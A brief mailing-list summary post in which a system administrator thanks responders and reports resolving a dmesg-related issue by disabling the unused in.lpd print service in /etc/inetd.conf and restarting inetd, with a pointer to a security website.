SUMMARY: Help request while checking dmesg........

 Hi gurus,

	Thanks for the quick response. I would like to thank everyone who
responded.
The solution was pretty simple, I had to disable the "in.lpd" in
/etc/inetd.conf and restart inetd daemon.	As, in our site we are not
using the print service.

 Mr. Lumpkin Buddy suggested me this site www.securityfocus.com
